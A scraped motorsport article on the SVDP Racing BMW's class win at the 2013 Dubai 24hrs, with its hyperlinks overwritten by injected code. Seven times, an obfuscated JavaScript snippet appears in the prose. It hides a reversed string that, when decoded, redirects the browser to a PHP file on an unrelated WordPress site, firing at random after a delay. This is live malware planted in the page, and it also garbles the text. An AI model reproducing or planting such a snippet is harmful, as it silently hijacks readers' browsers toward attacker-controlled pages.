As he stepped out of the car on parc ferme, the victor threw a triumphant fist into the air, proud that both he and the team had battled hard to secure a win at the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/tags/dubai-24hrs/” target=”_blank”>Dubai 24hrs. Just in front of the #115 SVDP Racing BMW, Team Abu Dhabi by Black Falcon was $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/2013-dubai-24hrs-chequered-flag-from-the-brink/” target=”_blank”>celebrating its own victory in similar fashion.
Amidst the excitement of a second consecutive win for the Falcons, it was easy to forget that they were not the only local boys celebrating a win on home soil. Indeed, at the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/2013-dubai-24hrs-qualifying-first-strike-black-falcons/” target=”_blank”>2013 Dubai 24hrs the UAE took not one but three class victories as well as a hard-fought podium finish. And as is usually the case with 24hr endurance marathons, success did not come lightly.
Problems for the SVDP boys for instance arose before the weekend was even underway. Originally pencilled in to pilot the BMW 120D alongside Wubbe Herlaar, Jason O’Keefe, $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/2013-dubai-24hrs-twenty-two-hours-in-with/” target=”_blank”>Kris Budnik and $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/tags/uae-touring-cars/” target=”_blank”>UAE Touring Car regular Jonathan Mullan, team principal Chris Wishart was forced to pull out of the event at the eleventh hour with back problems, though he still managed to make himself useful. Every endurance mechanic needs tea after all.
Stepping in to fill the void, Spencer van der Pal helped his new teammates cement 77th on the grid, right in the heart of the D1 Class battle. Given the enormous difference in power between the frontrunners and the tailenders, the Beemer and its fellow D1 rivals were already lapped after the fourth tour. It was going to be a long race on the 5.39km Dubai Autodrome.
By the third hour, car #115 was leading its class, and continued to open the gap over the second-placed Red Camel Jordon.nl SEAT Leon. There time at the top would be cut short though by a collision on-track. Though not heavily damaged, the BMW was forced to pit, dropping five laps behind the #116 Red Camel entry in the process.
Mechanical niggles would continue to strike during the night, engine issues causing the 2.0-litre unit to cut out intermittently, and eventually requiring the onboard ECU to be reset. Having already been forced to complete an engine change during $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/2013-dubai-24hrs-postcard-from-the-frontline/” target=”_blank”>Thursday’s free practice session, team officials feared the worse.
Still though the BMW solidered on, and while SVDP found themselves eight laps behind the Red Camel squad come the 17th hour, a string of mechanical woes for the D1-class leading SEAT meant the gap had halved with just three hours left to run. With two hours left, the #115 BMW was back in the lead, and would not be headed thereafter.
